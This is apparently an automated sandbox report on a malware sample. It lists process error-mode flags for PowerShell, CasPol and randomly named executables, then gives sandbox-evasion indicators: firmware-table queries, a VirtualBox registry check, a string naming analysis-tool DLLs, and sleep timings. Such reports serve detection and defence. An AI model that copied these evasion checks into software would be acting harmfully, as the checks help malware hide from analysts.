            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\8AbV0HUy7VtZhy8wnNLXmsko.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
            Source: C:\Users\user\Pictures\8AbV0HUy7VtZhy8wnNLXmsko.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\7zSCD80.tmp\Install.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\7zSCD80.tmp\Install.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Query firmware table information (likely to detect VMs)
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeSystem information queried: FirmwareTableInformation
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeSystem information queried: FirmwareTableInformation
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeSystem information queried: FirmwareTableInformation
            Tries to detect sandboxes / dynamic malware analysis system (registry check)
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
            Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1658768599.0000000002290000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: !"#$%&'()*+,-./0123@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/AVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL
            Source: C:\Users\user\Desktop\file.exe TID: 3592Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5908Thread sleep time: -3689348814741908s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -17524406870024063s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -600000s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 5996Thread sleep time: -30000s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -599891s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1592Thread sleep count: 3526 > 30Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1592Thread sleep count: 3886 > 30Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -599781s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -599672s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -599562s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -599453s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -599344s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -599219s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -599109s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -599000s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -598891s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -598781s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -598672s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -598562s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -598453s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -598328s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -598219s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -598109s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -597984s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -597859s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -597747s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -597591s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -597482s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -597372s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -597263s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -597156s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -597027s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -596922s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -596811s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -596703s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -596587s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -596469s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -596314s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -596195s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -596031s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -595886s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -595725s >= -30000sJump to behavior
